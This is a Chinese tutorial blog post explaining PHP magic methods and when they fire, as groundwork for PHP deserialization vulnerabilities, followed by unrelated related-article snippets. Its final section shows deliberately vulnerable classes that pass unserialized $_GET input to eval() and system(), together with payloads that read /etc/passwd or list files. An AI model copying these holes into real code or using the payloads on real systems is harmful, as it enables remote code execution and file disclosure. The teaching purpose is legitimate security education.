PHP反序列化漏洞之魔术方法
一、魔术方法
PHP魔术方法(Magic Methods)是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct()、__toString()等。
魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法,我们可以增强PHP对象的灵活性和功能性。
二、PHP魔术方法详解
学习魔术方法,需要去熟悉每一个魔术方法的触发时机,这一点是在学习 PHP 反序列化漏洞中最重要的,如果不知道什么时候出发魔术方法,就无法去构造POP链,其次,需要了解每个魔术方法的参数列表和返回值类型,下面详细介绍 PHP 中的魔术方法。

| 魔术方法 | 触发时机 |
|---|---|
| __construct() | 类的构造函数,在类实例化对象时自动调用构造函数 |
| __destruct() | 类的析构函数,在对象销毁之前自动调用析构函数 |
| __sleep() | 在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组 |
| __wakeup() | 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。 |
| __set($property, $value) | 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。 |
| __get($property) | 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。 |
| __isset($property) | 当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。 |
| __unset($property) | 当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。 |
| __call($method, $arguments) | 调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数 |
| __callStatic($method, $arguments) | 当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。 |
| __toString() | 当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法 |
| __invoke() | 当将一个对象作为函数进行调用时自动调用。 |
| __clone() | 当使用 clone 关键字复制一个对象时自动调用。 |
| __set_state($array) | 在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。 |
| __debugInfo() | 在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。 |
1、__construct()
构造函数__construct(),在实例化一个对象的时候,首先会去自动执行该方法
<?php
class User {public $username;public function __construct($username) {$this->username = $username;echo "触发了构造函数1次" ;}
}
$test = new User("benben"); //实例化对象时触发构造函数__construct()
$ser = serialize($test); //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>
2、__destruct()
析构函数__destruct(),在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
<?php
class User {public function __destruct(){echo "触发了析构函数1次";}
}
$test = new User("benben"); //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test); //在序列化过程中不会触发
unserialize($ser); //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>
以上代码总共触发两次析构函数,第一次为实例化对象后,代码运行完会,对象会被销毁,触发析构函数
_destruct();第二次在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
3、__sleep()
在进行序列化时,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。
<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {return array('username', 'nickname'); //sleep执行返回需要序列化的属性名,过滤掉password变量}
}
$user = new User('a', 'b', 'c');
echo serialize($user); //serialize()只序列化sleep返回的变量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>
4、__weakup()
在进行反序列化时,unserialize()函数会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法。可以在此方法中重新初始化对象状态。
<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {$this->password = $this->username; //反序列化之前触发_wakeup(),给password赋值}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; // 字符串中并没有password
var_dump(unserialize($user_ser)); // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
?>
__wakeup()在反序列化unserialize()之前被调用
__destruct()在反序列化unserialize()之后被调用
5、__toString()
当使用echo或print输出对象将对象转化为字符串形式,或者将一个“对象”与“字符串”进行拼接时,会调用__toString()方法
<?php
class User {var $benben = "this is test!!";public function __toString(){return '格式不对,输出不了!';}
}
$test = new User() ; // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test); // 打印输出对象可以使用print_r或者var_dump,该对象输出后为:User Object( [benben] => this is test!!)
echo $test; // 如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()
?>
6、__invoke()
当将一个对象作为函数进行调用时会触发__invoke()函数。
<?php
class User {var $benben = "this is test!!";public function __invoke(){echo '它不是个函数!';}
}
$test = new User() ; //把类User实例化为对象并赋值给$test
echo $test ->benben; //正常输出对象里的值benben
$test(); //加()是把test当成函数test()来调用,此时触发_invoke()
?>
7、__call()
当调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数。
<?php
class User {public function __call($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test = new User() ;
$test -> callxxx('a','b','c'); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>
__call(string $function_name, array $arguments)该方法有两个参数,第一个参数$function_name会自动接收不存在的方法名,第二个$arguments则以数组的方式接收不存在方法的多个参数。
8、__callStatic()
当调用不存在或不可见的静态方法时,会自动调用__callStatic()方法,传递方法名和参数数组作为参数。
<?php
class User {public static function __callStatic($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test = new User() ;
$test::callxxx('a'); //静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,传参(callxxx,a),输出:callxxx,a
?>
9、__set()
__set($name, $value)函数,给一个对象的不存在或不可访问(private修饰)的属性赋值时,PHP就会执行__set()方法。__set()方法包含两个参数,$name表示变量名称,$value表示变量值,两个参数不可省略。
<?php
class User {public $var1;public function __set($arg1 ,$arg2){echo $arg1.','.$arg2;}
}
$test = new User() ;
$test->var2=1; //给不存在的成员属性var2赋值为1,自动触发__set()方法;如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>
10、__get()
__get($name)函数,当程序访问一个未定义或不可见的成员变量时,PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。
<?php
class User {public $var1;public function __get($arg1){echo $arg1;}
}
$test = new User() ;
$test ->var2; //调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>
11、__isset()
当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
<?phpclass User {private $var;public function __isset($arg1){echo $arg1;}}
$test = new User() ;
isset($test->var); // 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>
12、__unset()
当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
<?phpclass User {private $var;public function __unset($arg1 ){echo $arg1;}}
$test = new User() ;
unset($test->var); // 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>
13、__clone()
当使用 clone 关键字复制一个对象时自动调用。
<?phpclass User {private $var;public function __clone( ){echo "__clone test";}}
$test = new User() ;
$newclass = clone($test) // __clone test
?>
三、魔术方法漏洞利用示例
1、__destruct()漏洞利用
<?php
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser); //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>
以上代码在反序列化之后,会触发__destruct()魔术方法,该方法中有命令执行函数eval(),又因为反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关,所以我们在序列化字符串中重新给$cmd赋值,例如:$cmd="system('cat /etc/passwd');"
,这样在反序列化之后会去执行eval()函数,从而触发代码执行。这只是最简单的反序列化漏洞利用方式,旨在理解如何去利用反序列化去触发代码执行。
// payload:
?benben=O:4:"User":1:{s:3:"cmd";s:26:"system('cat /etc/passwd');";}

2、__wakeup()漏洞利用
<?php
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
和上一题__destruct()漏洞利用方式类似,在反序列化之前会触发__wakeup(),该函数中有执行系统命令的system()函数,他去执行对象的username属性,所以我们在序列化字符串中让username的值为系统命令即可。
// payload:
?benben=O:4:"User":1:{s:8:"username";s:2:"ls";}

以上知识总结来自橙子科技php反序列化漏洞学习,并结合自己的理解。
相关文章:
PHP反序列化漏洞之魔术方法
一、魔术方法 PHP魔术方法(Magic Methods)是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct()、__toString()等。 …...
2023年的深度学习入门指南(20) - LLaMA 2模型解析
2023年的深度学习入门指南(20) - LLaMA 2模型解析 上一节我们把LLaMA 2的生成过程以及封装的过程的代码简单介绍了下。还差LLaMA 2的模型部分没有介绍。这一节我们就来介绍下LLaMA 2的模型部分。 这一部分需要一些深度神经网络的基础知识,不懂的话不用着急…...
智能安全配电装置应用场景有哪些?
安科瑞 华楠 一、应用背景 电力作为一种清洁能源,给人们带来了舒适、便捷的电气化生活。与此同时,由于使用不当,维护不及时等原因引发的漏电触电和电气火灾事故,也给人们的生命和财产带来了巨大的威胁和损失。 为了防止低压配电…...
Rust vs Go:常用语法对比(四)
题图来自 Go vs. Rust performance comparison: The basics 61. Get current date 获取当前时间 package mainimport ( "fmt" "time")func main() { d : time.Now() fmt.Println("Now is", d) // The Playground has a special sandbox, so you …...
c++ 派生类 文本查询程序再探
Query_base类和Query类 //这是一个抽象基类,具体的查询类型从中派生,所有成员都是private的 class Query_base {friend class Query;protected:using line_no TextQuery::line_no;//用于level函数virtual ~Query_base() default;private://eval返回与…...
17. 电话号码的字母组合
题目描述 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下(与电话按键相同)。注意 1 不对应任何字母。 示例 1: 输入:digits "23" …...
Redis 基础知识和核心概念解析:理解 Redis 的键值操作和过期策略
🌷🍁 博主 libin9iOak带您 Go to New World.✨🍁 🦄 个人主页——libin9iOak的博客🎐 🐳 《面试题大全》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~ἳ…...
Jenkins中sh函数的用法
在Jenkins的Pipeline中,sh函数的用法 用法一 单个命令字符串包括使用,示例如下: sh echo "Hello, Jenkins!"用法二 多个命令字符串包括命令列表使用,示例如下: sh echo "Step 1" echo "…...
Android 之 Canvas API 详解 (Part 3) Matrix 和 drawBitmapMesh
本节引言: 在Canvas的API文档中,我们看到这样一个方法:drawBitmap(Bitmap bitmap, Matrix matrix, Paint paint) 这个Matrix可是有大文章的,前面我们在学Paint的API中的ColorFilter中曾讲过ColorMatrix 颜色矩阵,一个4…...
基于Ubuntu 22.04 编译chip-tool工具
前言 编译过程有点曲折,做下记录,过程中,有参考别人写的博客,也看github 官方介绍,终于跑通了~ 环境说明: 首先需要稳定的梯子,可以访问“外网”ubuntu 环境,最终成功实验在Ubunt…...
opencv-17 脸部打码及解码
使用掩模和按位运算方式实现的对脸部打码、解码实例 代码如下: import cv2 import numpy as np #读取原始载体图像 lenacv2.imread("lena.png",0) #读取原始载体图像的 shape 值 r,clena.shape masknp.zeros((r,c),dtypenp.uint8) mask[220:400,250:350…...
JVM分享
JVM分享 官网:https://docs.oracle.com/javase/specs/jvms/se8/html/index.html Java代码的执行流程 我们编写完之后的java文件如果要运行,java文件会编译成class文件,在jvm中运行时ClassLoader会加载class文件,加载进来之后&a…...
Apache Dubbo CVE-2021-36162 挖掘过程
01 漏洞背景 发现该漏洞的起因是在分析 CVE-2021-30181 的脚本注入补丁的时候,意外发现了几个已被修复的 yaml 反序列化漏洞,还以为是未公开的Nday,查询后发现其实对应的是 CVE-2021-30180 漏洞的修复代码。通过查看补丁可以知道,…...
开源框架面试题目整理
目录 SpringIOC SpringAOP Spring的生命周期 Spring Bean作用域 Spring Bean作用域并发安全 Spring循环依赖...
Mr. Cappuccino的第52杯咖啡——Mybatis环境搭建与使用
Mybatis环境搭建与使用 Mybatis介绍Mybatis环境搭建与使用基于XML方式-原生方式开发创建数据库表项目准备项目结构项目代码实体类中添加有参构造方法产生的问题 基于XML方式-mapper代理开发项目准备项目结构项目代码SQL映射文件中namespace未设置为接口全限定名产生的问题 基于…...
了解Unity编辑器之组件篇Tilemap(五)
Tilemap:用于创建和编辑2D网格地图的工具。Tilemap的主要作用是简化2D游戏中地图的创建、编辑和渲染过程。以下是一些Tilemap的主要用途: 2D地图绘制:Tilemap提供了一个可视化的编辑器界面,可以快速绘制2D地图,例如迷…...
Linux字符设备操作函数
Linux字符设备操作函数是指对字符设备进行打开、关闭、读取、写入、控制等基本操作的函数,它们通过字符设备结构体中的 file_operations 结构体来定义。常用的字符设备操作函数包括: 1、open: 当一个进程试图打开设备文件时,调用这个函数。开…...
吉林大学计算机软件考研经验贴
文章目录 简介政治英语数学专业课 简介 本人23考研,一战上岸吉林大学软件工程专硕,政治72分,英一71分,数二144分,专业课967综合146分,总分433分,上图: 如果学弟学妹需要专业课资料…...
2023-07-26力扣每日一题-区间翻转线段树
链接: 2569. 更新数组后处理求和查询 题意: 给两个等长数组nums1和nums2,三个操作: 操作1:将nums1的[l,r]翻转(0变1,1变0) 操作2:将nums2[any]变成nums2[any]nums1[any]*p&…...
Java设计模式之 -- 桥接模式
什么是桥接模式 桥接模式是一种结构型设计模式,也被称为“Handle/Body”。这种设计模式主要用于将抽象部分与它的实现部分分离,使它们可以独立地变化。这种方式有助于减少系统中的耦合性,增加了扩展性。 主要解决什么问题 桥接模式主要解决…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...
Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)
在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马(服务器方面的)的原理,连接,以及各种木马及连接工具的分享 文件木马:https://w…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...
BLEU评分:机器翻译质量评估的黄金标准
BLEU评分:机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域,衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标,自2002年由IBM的Kishore Papineni等人提出以来,…...
【SpringBoot自动化部署】
SpringBoot自动化部署方法 使用Jenkins进行持续集成与部署 Jenkins是最常用的自动化部署工具之一,能够实现代码拉取、构建、测试和部署的全流程自动化。 配置Jenkins任务时,需要添加Git仓库地址和凭证,设置构建触发器(如GitHub…...
9-Oracle 23 ai Vector Search 特性 知识准备
很多小伙伴是不是参加了 免费认证课程(限时至2025/5/15) Oracle AI Vector Search 1Z0-184-25考试,都顺利拿到certified了没。 各行各业的AI 大模型的到来,传统的数据库中的SQL还能不能打,结构化和非结构的话数据如何和…...
数据结构:递归的种类(Types of Recursion)
目录 尾递归(Tail Recursion) 什么是 Loop(循环)? 复杂度分析 头递归(Head Recursion) 树形递归(Tree Recursion) 线性递归(Linear Recursion)…...
